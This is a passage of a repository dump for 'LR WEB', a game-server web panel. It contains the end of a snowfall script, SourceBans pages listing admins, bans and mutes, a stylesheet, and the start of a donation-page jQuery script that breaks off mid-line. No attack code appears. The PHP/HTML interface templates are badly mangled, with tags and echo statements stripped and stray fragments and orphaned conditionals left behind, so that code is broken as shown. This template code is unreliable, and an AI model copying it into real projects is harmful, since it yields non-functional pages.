(s.vY>=0 && s.vY<0.2) { s.vY = 0.2; } } this.move = function() { var vX = s.vX*windOffset; s.x += vX; s.y += (s.vY*s.vAmp); if (vX >= 0 && (s.x >= screenX || screenX-s.x < (flakeWidth+1))) { // X-axis scroll check s.x = 0; } else if (vX < 0 && s.x-flakeLeftOffset<0-flakeWidth) { s.x = screenX-flakeWidth-1; // flakeWidth; } s.refresh(); var yDiff = screenY+scrollY-s.y-storm.terrain[Math.floor(s.x)]; if (yDiffflakesMaxActive) s.flakes[s.flakes.length-1].active = -1; } targetElement.appendChild(docFrag); } this.timerInit = function() { s.timers = (!isWin9X?[setInterval(s.snow,20)]:[setInterval(s.snow,75),setInterval(s.snow,25)]); } this.init = function() { for (var i=0; i<2048; i++) { s.terrain[i] = 0; } s.randomizeWind(); s.createSnow(snowCollect?flakesMaxActive:flakesMaxActive*2); // create initial batch addEvent(window,'resize',s.resizeHandler); addEvent(window,'scroll',s.scrollHandler); if (!isIE) { addEvent(window,'blur',s.freeze); addEvent(window,'focus',s.resume); } s.resizeHandler(); s.scrollHandler(); if (followMouse) { addEvent(document,'mousemove',s.mouseMove); } s.timerInit(); } var didInit = false; this.start = function(bFromOnLoad) { if (!didInit) { didInit = true; } else if (bFromOnLoad) { // already loaded and running return true; } if (typeof targetElement == 'string') { targetElement = document.getElementById(targetElement); if (!targetElement) throw new Error('Snowstorm: Unable to get targetElement'); } if (!targetElement) { targetElement = (!isIE?(document.documentElement?document.documentElement:document.body):document.body); } if (targetElement != document.documentElement && targetElement != document.body) s.resizeHandler = s.resizeHandlerAlt; // re-map handler to get element instead of screen dimensions s.resizeHandler(); // get bounding box elements if (screenX && screenY && !s.disabled) { s.init(); s.active = true; } } if (document.addEventListener) { // safari 3.0.4 doesn't do DOMContentLoaded, maybe others - use a fallback to be safe. document.addEventListener('DOMContentLoaded',function(){s.start(true)},false); window.addEventListener('load',function(){s.start(true)},false); } else { addEvent(window,'load',function(){s.start(true)}); } } snowStorm = new SnowStorm(); ================================================ FILE: app/modules/disabled/module_block_snow/description.json ================================================ { "title": "LR WEB | Snow", "info": "Just dumb snow :D", "author": "Xzotys & M0st1ce", "page": "all", "version": "1.0", "required": { "core": "0.2", "php": "5.6" }, "setting": { "status": 1, "type": 1, "available_types": "1;2", "js": 1 } } ================================================ FILE: app/modules/disabled/module_page_admins/description.json ================================================ { "title": "LR WEB | SourceBans Admins - List Admins", "info": "SourceBans Integration. List Admins", "author": "M0st1ce", "page": "admins", "version": "0.1", "required": { "core":"0.2","php":"5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "interface": 1, "interface_adjacent": "afternavbar", "data": 1, "data_always": 1 }, "sidebar": { "0": { "href": "?page=admins", "open_new_tab": "0", "icon_group": "zmdi", "icon_category": null, "icon": "accounts-list", "name": "_Admins_sb", "sidebar_directory": "_Sidebar_blocks" }} } ================================================ FILE: app/modules/disabled/module_page_admins/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ empty( $Db->db_data['SourceBans'] ) && get_iframe( '012','Не найден мод - SourceBans :: /storage/cache/sessions/db.php' ); // Запрос на получение информации о банах $res = $Db->queryAll('SourceBans', 0, 0, "SELECT `{$Db->db_data['SourceBans'][0]['Table']}admins`.`aid`, `{$Db->db_data['SourceBans'][0]['Table']}admins`.`authid`, `{$Db->db_data['SourceBans'][0]['Table']}admins`.`user`, `{$Db->db_data['SourceBans'][0]['Table']}admins`.`srv_group`, ( SELECT COUNT(1) FROM `{$Db->db_data['SourceBans'][ 0 ]['Table']}bans` WHERE `aid`=`{$Db->db_data['SourceBans'][0]['Table']}admins`.`aid` ) AS `bans_count`, ( SELECT COUNT(1) FROM `{$Db->db_data['SourceBans'][ 0 ]['Table']}comms` WHERE `aid`=`{$Db->db_data['SourceBans'][0]['Table']}admins`.`aid` ) AS `comms_count` FROM `{$Db->db_data['SourceBans'][0]['Table']}admins` WHERE `{$Db->db_data['SourceBans'][0]['Table']}admins`.`aid` > 0"); $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Admins_sb') ); $Modules->set_page_description( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Admins_sb') ); ================================================ FILE: app/modules/disabled/module_page_admins/forward/data_always.php ================================================ route ) && $Modules->route === 'profiles' ): for ( $d = 0; $d < $General->server_list_count; $d++ ): if ( ! empty( $General->server_list[ $d ]['server_stats'] ) && $General->server_list[ $d ]['server_stats'] == sprintf('%s;%d;%d;%s', $Player->found[ $Player->server_group ]['DB_mod'], $Player->found[ $Player->server_group ]['USER_ID'], $Player->found[ $Player->server_group ]['DB'], $Player->found[ $Player->server_group ]['Table'] ) ): $stats = explode( ";", $General->server_list[ $d ]['server_sb'] ); $admin_check = $Db->query( 'SourceBans', (int) $stats[1], (int) $stats[2], "SELECT `authid`, `srv_group` FROM `" . $stats[3] . "admins` WHERE `authid` LIKE '%" . $Player->get_steam_32_short() . "%' LIMIT 1" ); ! empty( $admin_check ) && $Player->get_profile_status()['priority'] < 10 && $Player->set_profile_status( $admin_check['srv_group'], '#ff6d0a', 10 ); break; endif; endfor; endif; ================================================ FILE: app/modules/disabled/module_page_admins/forward/interface.php ================================================ * * @link https://steamcommunity.comprofiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    get_translate_phrase('_Admins_sb')?>
    arr_general['avatars'] != 0 ) {?>get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid'] )?> arr_general['avatars'] != 0 ) {?>
    get_translate_phrase('_Admin') ?> Группа Количество банов Количество мутов / гагов
    ="getAvatar( con_steam32to64( $res[ $i ]['authid'] ), 2 )?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0">
    ================================================ FILE: app/modules/disabled/module_page_bans/description.json ================================================ { "title": "LR WEB - Bans - Мониторинг банов", "info": "Интеграция SourceBans. Добавляет страницу со списком банов игроков.", "author": "M0st1ce", "page": "bans", "version": "0.1", "required": { "core": "0.2", "php": "5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "interface": 1, "interface_adjacent": "afternavbar", "data": 1, "data_always": 1 }, "sidebar": [ { "href": "?page=bans", "open_new_tab": "0", "icon_group": "zmdi", "icon_category": null, "icon": "block", "name": "_Bans", "sidebar_directory": "_Sidebar_blocks" } ] } ================================================ FILE: app/modules/disabled/module_page_bans/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ empty( $Db->db_data['SourceBans'] ) && get_iframe( '012','Не найден мод - SourceBans :: /storage/cache/sessions/db.php' ); // Количество банов на странице. define('PLAYERS_ON_PAGE', '80'); // Номер страницы. $page_num = (int) intval ( get_section( 'num', '1' ) ); // Типа банов. $ban_type = [0 => '
    ' . $Translate->get_translate_phrase('_Forever') . '
    ',1 => '
    ' . $Translate->get_translate_phrase('_Unban') . '
    ',2 => 'Сессия']; // CSGO || CSS $mod = $Db->db_data['SourceBans'][0]['mod']; // Подсчёт кол-ва страниц $page_max = ceil($Db->queryNum('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][0]['DB_num'], "SELECT COUNT(*) FROM " . $Db->db_data['SourceBans'][0]['Table'] . "bans ")[0]/PLAYERS_ON_PAGE); $page_num_min = ($page_num - 1) * PLAYERS_ON_PAGE; ( $page_num > $page_max || $page_num <= '0' ) && header('Location: ' . $General->arr_general['site']); // Запрос на получение информации о банах $res = $Db->queryAll('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][0]['DB_num'], "SELECT " . $Db->db_data['SourceBans'][0]['Table'] . "bans.name, " . $Db->db_data['SourceBans'][0]['Table'] . "bans.authid, " . $Db->db_data['SourceBans'][0]['Table'] . "bans.created, " . $Db->db_data['SourceBans'][0]['Table'] . "bans.length, " . $Db->db_data['SourceBans'][0]['Table'] . "bans.reason, " . $Db->db_data['SourceBans'][0]['Table'] . "bans.type, " . $Db->db_data['SourceBans'][0]['Table'] . "bans.ends, " . $Db->db_data['SourceBans'][0]['Table'] . "bans.RemoveType, IFNULL(sb_admins.user, 'Админ снят') AS `user`, sb_admins.aid, sb_admins.authid AS admin_authid FROM " . $Db->db_data['SourceBans'][0]['Table'] . "bans LEFT JOIN sb_admins ON " . $Db->db_data['SourceBans'][0]['Table'] . "bans.aid=sb_admins.aid order by created desc LIMIT " . $page_num_min . "," . PLAYERS_ON_PAGE . " "); // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Bans') . ' :: ' . $Translate->get_translate_phrase('_Page') . ' ' . $page_num ); // Задаём описание страницы. $Modules->set_page_description( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Bans') . ' :: ' . $Translate->get_translate_phrase('_Page') . ' ' . $page_num ); ================================================ FILE: app/modules/disabled/module_page_bans/forward/data_always.php ================================================ route ) && $Modules->route === 'profiles' ): for ( $d = 0; $d < $General->server_list_count; $d++ ): if ( ! empty( $General->server_list[ $d ]['server_stats'] ) && $General->server_list[ $d ]['server_stats'] == sprintf('%s;%d;%d;%s', $Player->found[ $Player->server_group ]['DB_mod'], $Player->found[ $Player->server_group ]['USER_ID'], $Player->found[ $Player->server_group ]['DB'], $Player->found[ $Player->server_group ]['Table'] ) ): $stats = explode( ";", $General->server_list[ $d ]['server_sb'] ); $ban_check = $Db->query( 'SourceBans', (int) $stats[1], (int) $stats[2], "SELECT created, authid, ends, `length`, RemovedOn, RemoveType FROM " . $stats[3] . "bans WHERE authid LIKE '%" . $Player->get_steam_32_short() . "%' order by created desc limit 1" ); ! empty( $ban_check ) && $Player->get_profile_status()['priority'] < 3 && ( ( empty( $ban_check['length'] ) || $ban_check['ends'] >= time() ) && empty( $ban_check['RemovedOn'] ) && empty( $ban_check['RemoveType'] ) ) && $Player->set_profile_status( $Translate->get_translate_phrase( '_Banned' ), '#ba0000', 3 ); break; endif; endfor; endif; ================================================ FILE: app/modules/disabled/module_page_bans/forward/interface.php ================================================ * * @link https://steamcommunity.comprofiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    get_translate_phrase('_Bans')?>
    arr_general['avatars'] != 0 ) {?>arr_general['avatars'] != 0 ) {?>get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[$i]['authid'] ) : $res[$i]['authid'] ); $res[$i]['aid'] != '0' && $General->get_js_relevance_avatar( $res[ $i ]['admin_authid'] )?>arr_general['avatars'] != 0 ) {?> arr_general['avatars'] != 0 ):?>
    get_translate_phrase('_Game') ?> get_translate_phrase('_Date') ?> get_translate_phrase('_Player') ?> get_translate_phrase('_Admin') ?> get_translate_phrase('_Reason') ?> get_translate_phrase('_Term') ?>
    ="arr_general['site'] ?>storage/cache/img/mods/.png"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0/?search=1' ">="getAvatar( con_steam32to64( $res[ $i ]['authid'] ), 2 )?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res[ $i ]['aid'] != '0'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['admin_authid'] ) : $res[ $i ]['admin_authid']?>/0/?search=1' ">="getAvatar( con_steam32to64( $res[ $i ]['admin_authid'] ), 2 ) : $General->arr_general['site'].'storage/cache/img/avatars_random/20.jpg'?>"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res[ $i ]['aid'] != '0'): ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['admin_authid'] ) : $res[ $i ]['admin_authid']?>/0/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1' && $res[ $i ]['aid'] != '0'): ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['admin_authid'] ) : $res[ $i ]['admin_authid']?>/0"> = $res[$i]['ends']) { echo $ban_type['2']; } elseif (time() >= $res[$i]['ends'] && $res[$i]['length'] != '0') { echo '
    ' . $Modules->action_time_exchange( $res[$i]['length'] ) . '
    '; } else { echo $Modules->action_time_exchange( $res[$i]['length'] ); }?>
    ================================================ FILE: app/modules/disabled/module_page_comms/description.json ================================================ { "title": "LR WEB - Comms - Список мутов/гагов", "info": "Интеграция SourceBans. Добавляет страницу со списком мутов и гагов игроков.", "author": "M0st1ce", "page": "comms", "version": "0.1", "required": { "core":"0.2","php":"5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "interface": 1, "interface_adjacent": "afternavbar", "data": 1 }, "sidebar": { "0": { "href": "?page=comms", "open_new_tab": "0", "icon_group": "zmdi", "icon_category": "", "icon": "mic-off", "name": "_Comms", "sidebar_directory": "_Sidebar_blocks" }} } ================================================ FILE: app/modules/disabled/module_page_comms/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ empty( $Db->db_data['SourceBans'] ) && get_iframe( '012','Не найден мод - SourceBans :: /storage/cache/sessions/db.php' ); // Количество банов на странице. define('PLAYERS_ON_PAGE', '80'); // Номер страницы. $page_num = (int) intval ( get_section( 'num', '1' ) ); // Типа мутов. $comms_type = [0 => '
    ' . $Translate->get_translate_phrase('_Forever') . '
    ',1 => '
    ' . $Translate->get_translate_phrase('_Uncomm') . '
    ',2 => 'Сессия']; // CSGO || CSS $mod = $Db->db_data['SourceBans'][0]['mod']; // Подсчёт кол-ва страниц $page_max = ceil($Db->queryNum('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][0]['DB_num'], "SELECT COUNT(*) FROM " . $Db->db_data['SourceBans'][0]['Table'] . "comms ")[0]/PLAYERS_ON_PAGE); $page_num_min = ($page_num - 1) * PLAYERS_ON_PAGE; ( $page_num > $page_max || $page_num <= '0' ) && header('Location: ' . $General->arr_general['site']); // Запрос на получение информации о мутах $res = $Db->queryAll('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][0]['DB_num'], "SELECT " . $Db->db_data['SourceBans'][0]['Table'] . "comms.name, " . $Db->db_data['SourceBans'][0]['Table'] . "comms.authid, " . $Db->db_data['SourceBans'][0]['Table'] . "comms.created, " . $Db->db_data['SourceBans'][0]['Table'] . "comms.length, " . $Db->db_data['SourceBans'][0]['Table'] . "comms.reason, " . $Db->db_data['SourceBans'][0]['Table'] . "comms.type, " . $Db->db_data['SourceBans'][0]['Table'] . "comms.ends, " . $Db->db_data['SourceBans'][0]['Table'] . "comms.RemoveType, IFNULL(sb_admins.user, 'Админ снят') AS `user`, sb_admins.aid, sb_admins.authid AS admin_authid FROM " . $Db->db_data['SourceBans'][0]['Table'] . "comms LEFT JOIN sb_admins ON " . $Db->db_data['SourceBans'][0]['Table'] . "comms.aid=sb_admins.aid order by created desc LIMIT " . $page_num_min . "," . PLAYERS_ON_PAGE . " "); // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Comms') . ' :: ' . $Translate->get_translate_phrase('_Page') . ' ' . $page_num ); // Задаём описание страницы. $Modules->set_page_description( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Comms') . ' :: ' . $Translate->get_translate_phrase('_Page') . ' ' . $page_num ); ================================================ FILE: app/modules/disabled/module_page_comms/forward/interface.php ================================================ * * @link https://steamcommunity.comprofiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    get_translate_phrase('_Comms')?>
    arr_general['avatars'] != 0 ) {?>arr_general['avatars'] != 0 ) {?>get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[$i]['authid'] ) : $res[$i]['authid'] ); $res[$i]['aid'] != '0' && $General->get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['admin_authid'] ) : $res[ $i ]['admin_authid'] )?>arr_general['avatars'] != 0 ) {?> arr_general['avatars'] != 0 ) {?>
    get_translate_phrase('_Game') ?> get_translate_phrase('_Date') ?> get_translate_phrase('_Type') ?> get_translate_phrase('_Player') ?> get_translate_phrase('_Admin') ?> get_translate_phrase('_Reason') ?> get_translate_phrase('_Term') ?>
    ="arr_general['site'] ?>storage/cache/img/mods/.png"> get_icon( 'zmdi', 'mic', null ) : $General->get_icon( 'zmdi', 'comment-text', null )?> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0/?search=1' ">="getAvatar( con_steam32to64( $res[ $i ]['authid'] ), 2 )?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['authid'] ) : $res[ $i ]['authid']?>/0"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res[ $i ]['aid'] != '0'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['admin_authid'] ) : $res[ $i ]['admin_authid']?>/0' ">="getAvatar( con_steam32to64( $res[ $i ]['admin_authid'] ), 2 ) : $General->arr_general['site'].'storage/cache/img/avatars_random/20.jpg'?>"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res[ $i ]['aid'] != '0'): ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['admin_authid'] ) : $res[ $i ]['admin_authid']?>/0' "> array_modules['module_page_profiles']['setting']['status'] == '1' && $res[ $i ]['aid'] != '0'): ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[ $i ]['admin_authid'] ) : $res[ $i ]['admin_authid']?>/0/?search=1"> = $res[$i]['ends'] ) { echo $comms_type['2']; } elseif (time() >= $res[$i]['ends'] && $res[$i]['length'] != '0') { echo '
    ' . $Modules->action_time_exchange( $res[$i]['length'] ) . '
    '; } else { echo $Modules->action_time_exchange( $res[$i]['length'] ); }?>
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/assets/css/1.css ================================================ .menu .nav a { color: var(--default-text-color); margin-left: 15px; outline: none; } .menu .nav li { display: block; width: 100%; padding: 10px; cursor: pointer; font-weight: var(--font-weight-3); font-size: 12px; } .menu .nav li:hover { color: var(--default-text-color); background-color: var(--hover); } .menu .nav .active { color: var(--default-text-color); background-color: var(--hover); } .menu-header { border-bottom: 1px solid rgba(0, 0, 0, .125); } .menu-header h5 { font-weight: var(--font-weight-3); font-size: 18px; margin-bottom: 20px; } .align-center { margin: 25px auto; } .input-form { margin-bottom: 10px } .dd-handle { display: block; height: 30px; margin: 5px 0; padding: 5px 10px; color: var(--default-text-color); text-decoration: none; font-weight: bold; background: var(--hover); box-sizing: border-box; -moz-box-sizing: border-box; transition: all 0.3s ease; } .module_setting { float: right; padding-top: 6px; padding-left: 6px; padding-right: 6px; opacity: .2; } .module_setting:hover { opacity: 1; transition: all 0.3s ease; } a { color: var(--span-color); text-decoration: none; background-color: transparent; -webkit-text-decoration-skip: objects; } .input-form { position: relative; text-align: left; margin-top: 6px; margin-bottom: 6px; width: 100%; } .input-form input { font-size: 15px; font-weight: var(--font-weight-2); color: var(--default-text-color); background-color: inherit; -webkit-transition: border-color .15s ease-in-out,-webkit-box-shadow .15s ease-in-out; -o-transition: border-color .15s ease-in-out,box-shadow .15s ease-in-out; transition: border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-box-shadow .15s ease-in-out; border-bottom: 2px solid var(--table-line); width: 100%; } .input-form .border-checkbox-label { position: relative; width: 100%; cursor: pointer; line-height: 22px; margin-top: 4px; padding-left: 30px; color: var(--top-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .input-form label { float: left; white-space: nowrap; width: 19%; margin-right: 20px; } [role=button], a, area, button, input, label, select, summary, textarea { -ms-touch-action: manipulation; touch-action: manipulation; } .border-checkbox:checked+.border-checkbox-label:after { -webkit-animation: check linear 0.5s; animation: check linear 0.5s; opacity: 1; border-color: #f37c00 } .input-form .border-checkbox-label { position: relative; width: 100%; cursor: pointer; line-height: 22px; margin-top: 4px; margin-bottom: 15px; padding-left: 30px; color: var(--top-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .input-form .border-checkbox-label:after { content: ""; display: block; width: 5px; height: 13px; opacity: .15; border-right: 2px solid var(--default-text-color); border-top: 2px solid var(--default-text-color); position: absolute; left: 5px; top: 13px; -webkit-transform: scaleX(-1) rotate(135deg); transform: scaleX(-1) rotate(135deg); -webkit-transform-origin: left top; transform-origin: left top } .input-form .border-checkbox-label:before { content: ""; display: block; border: 2px solid #3a3a3a;; width: 23px; height: 23px; position: absolute; left: 0 } .border-checkbox { display: none } .border-checkbox:disabled~.border-checkbox-label { cursor: no-drop; color: #ccc } @-webkit-keyframes check { 0% { height: 0; width: 0 } 25% { height: 0; width: 5px } 50% { height: 13px; width: 5px } } @keyframes check { 0% { height: 0; width: 0 } 25% { height: 0; width: 5px } 50% { height: 13px; width: 5px } } .sidebar-right .sidebar { position: relative; width: 220px; } .section i { color: var(--default-text-color); } .sidebar-right { transition: left .3s ease, right .3s ease, box-shadow .3s ease, width .3s ease; } .unshow { width: 0px !important; } .close { bottom: 6px; position: relative; padding-top: unset !important; padding-left: unset !important; } #notes { position: fixed; top: 4em; right: 5px; cursor: default; transition: height .45s ease-in-out; -webkit-transition: height .45s ease-in-out; pointer-events: none; z-index: 1001; } #notes .note-item { max-height: 12em; border-radius: 5px; opacity: 1; will-change: opacity, transform; transition: all .2s linear; -webkit-transition: all .2s linear; backface-visibility: hidden; -webkit-backface-visibility: hidden; -moz-backface-visibility: hidden; -ms-backface-visibility: hidden; width: 50vw; -webkit-touch-callout: none; user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; -o-user-select: none; z-index: 1002; pointer-events: auto; display: -webkit-box; display: -webkit-flex; display: -moz-flex; display: -ms-flex; display: -ms-flexbox; display: flex; -webkit-align-content: flex-start; -ms-flex-line-pack: start; align-content: flex-start; -webkit-box-align: start; -ms-flex-align: start; -webkit-align-items: flex-start; -moz-align-items: flex-start; align-items: flex-start; -webkit-align-content: flex-start; -ms-flex-line-pack: start; align-content: flex-start; max-width: 20em; font: inherit; line-height: 1.25em; color: #fff; margin: 0 auto 3px auto; transform: translateZ(0); -moz-transform: translateZ(0); -ms-transform: translateZ(0); -webkit-transform: translateZ(0); padding: .75em 1em; } @media all and (max-width: 30em) { #notes .note-item { width: 75vw; max-width: none; } } #notes .note-item[data-show="false"] { pointer-events: none; opacity: 0 !important; max-height: 0 !important; margin-bottom: 0 !important; } #notes .note-item[data-type="info"] { background-color: #375e97; } #notes .note-item[data-type="warn"] { background-color: var(--span-color); animation: shake 0.9s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; -webkit-animation: shake 0.9s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; } #notes .note-item[data-type="error"] { background-color: rgba(194, 16, 0, 0.95); animation: shake 0.54s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; -webkit-animation: shake 0.54s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; } #notes .note-item[data-type="success"] { background-color: #009d09; } #notes .note-item .note-item-text { flex: auto; -webkit-flex: auto; -moz-flex: auto; -ms-flex: auto; padding-right: .5em; max-width: calc(100% - 1.25em); max-width: -webkit-calc(100% - 1.25em); } #notes .note-item .note-item-btn { width: 0.25em; height: 1.25em; position: absolute; right: 5px; bottom: 15px; cursor: pointer; background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48c3ZnIHZlcnNpb249IjEuMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeD0iMHB4IiB5PSIwcHgiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiB4bWw6c3BhY2U9InByZXNlcnZlIiBmaWxsPSIjZmZmIj48cGF0aCBkPSJNMTguMyw1LjcxTDE4LjMsNS43MWMtMC4zOS0wLjM5LTEuMDItMC4zOS0xLjQxLDBMMTIsMTAuNTlMNy4xMSw1LjdjLTAuMzktMC4zOS0xLjAyLTAuMzktMS40MSwwbDAsMCBjLTAuMzksMC4zOS0wLjM5LDEuMDIsMCwxLjQxTDEwLjU5LDEyTDUuNywxNi44OWMtMC4zOSwwLjM5LTAuMzksMS4wMiwwLDEuNDFoMGMwLjM5LDAuMzksMS4wMiwwLjM5LDEuNDEsMEwxMiwxMy40MWw0Ljg5LDQuODkgYzAuMzksMC4zOSwxLjAyLDAuMzksMS40MSwwbDAsMGMwLjM5LTAuMzksMC4zOS0xLjAyLDAtMS40MUwxMy40MSwxMmw0Ljg5LTQuODlDMTguNjgsNi43MywxOC42OCw2LjA5LDE4LjMsNS43MXoiLz48L3N2Zz4=) no-repeat 0 0/contain; transition: opacity .2s; -webkit-transition: opacity .2s; } #notes .note-item .note-item-btn:hover { opacity: .6; } @keyframes shake { 10%, 90% { transform: translate3d(-1px, 0, 0); -webkit-transform: translate3d(-1px, 0, 0); -ms-transform: translate3d(-1px, 0, 0); } 20%, 80% { transform: translate3d(2px, 0 0); -webkit-transform: translate3d(2px, 0, 0); -ms-transform: translate3d(2px, 0, 0); } 30%, 50%, 70% { transform: translate3d(-4px, 0, 0); -webkit-transform: translate3d(-4px, 0, 0); -ms-transform: translate3d(-4px, 0, 0); } 40%, 60% { transform: translate3d(4px, 0, 0); -webkit-transform: translate3d(4px, 0, 0); -ms-transform: translate3d(4px, 0, 0); } } @-webkit-keyframes shake { 10%, 90% { -webkit-transform: translate3d(-1px, 0, 0); } 20%, 80% { -webkit-transform: translate3d(2px, 0, 0); } 30%, 50%, 70% { -webkit-transform: translate3d(-4px, 0, 0) t; } 40%, 60% { -webkit-transform: translate3d(4px, 0, 0); } } .gateways { display: none; } .gateways-label{ position: relative; float: unset !important; width: 110px !important; display: inline-block; height: 40px; border-radius: 3px; border: 1px solid var(--span-color); transition: left .5s ease, right .3s ease, opacity .5s ease, width .3s ease, transform .2s ease; box-shadow: var(--span-color-back) 5px 5px; } .gateways-label:hover{ cursor: pointer; transform:scale(1.1); } input.gateways:checked + label.gateways-label:after{ -webkit-animation: check linear 0.3s; animation: check linear 0.3s; position: absolute; left: 8px; top: -7px; width: 100px; height: 30px; content: "\f26b"; text-align: right; font-size: 40px; font-weight: 900; font-family: "Material-Design-Iconic-Font"; border-radius: 5px; color: var(--span-color); text-shadow: 0px 5px 0px var(--span-color-back);; background: transparent; } input.gateways:checked + label.gateways-label{ transform:scale(1.1); } .float-left { float: left !important; } .float-right { float: right !important; } .text-center{ text-align: center !important; } .user_pays { max-height: 300px; overflow-y: scroll; width: 100%; top: 15px; position: relative; } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/assets/js/1.js ================================================ $(document).ready(function(){ $(document).on('input','[name="promocode"],[name="amount"],[name="steam"]',function(){ var promocode=$('[name="promocode"]'), amount=$('[name="amount"]'), steam=$('[name="steam"]'); if(promocode.val() && $.isNumeric(amount.val()) && steam.val()){ $.ajax({ type:'POST', url: window.location.href, data:'promocode='+promocode.val()+'&amount='+amount.val()+'&steamid='+steam.val(), cache:false, success:function(result){ if(result.trim()){ result=jQuery.parseJSON(result.trim()); if(result.result){ $('#promoresult').html(result.result); }else{ $('#promoresult').html(false);} } } }); }else{ $('#promoresult').html(false); } }); $(document).on('input','[name="steam"]',function(){ var steam=$('[name="steam"]'); if(steam.val()){ $.ajax({ type:'POST', url: window.location.href, data:'steamidload='+steam.val(), cache:false, success:function(result){ if(result.trim()){ result=jQuery.parseJSON(result.trim()); if(result.img){ $('#profile').html('
